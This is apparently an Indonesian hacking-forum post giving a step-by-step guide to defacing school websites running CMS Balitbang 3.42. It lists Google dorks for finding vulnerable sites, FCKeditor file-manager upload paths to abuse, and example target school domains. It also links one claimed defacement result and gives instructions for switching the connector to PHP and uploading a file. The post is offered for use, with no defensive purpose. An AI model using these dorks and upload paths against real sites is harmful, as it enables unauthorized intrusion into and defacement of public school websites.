CMS Balitbang 3.42 [ DEFACE WEB BERDOMAIN SHC.ID ]

 Credit : Krokolatoz

Hasilnya ..
http://sman1ubud.sch.id/userfiles/x.txt

dorknya

Code:

inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?

Exploit :

Code:

http://public_html/dir/editor/filemanager/connectors/uploadtest.html
http://public_html/dir/editor/filemanager/connectors/test.html
http://public_html/dir/editor/filemanager/browser/default/browser.html

pilih salah satu aja ...
klo udah milih target masukin exploitnya
contoh :

Code:

http://smpn4pakem.sch.id/editor/filemanager/connectors/uploadtest.html

lalu pilih connector nya dari ASP --> PHP,,tinggal masukin filenya agan deh...tapi berbentuk .TXT yah,,,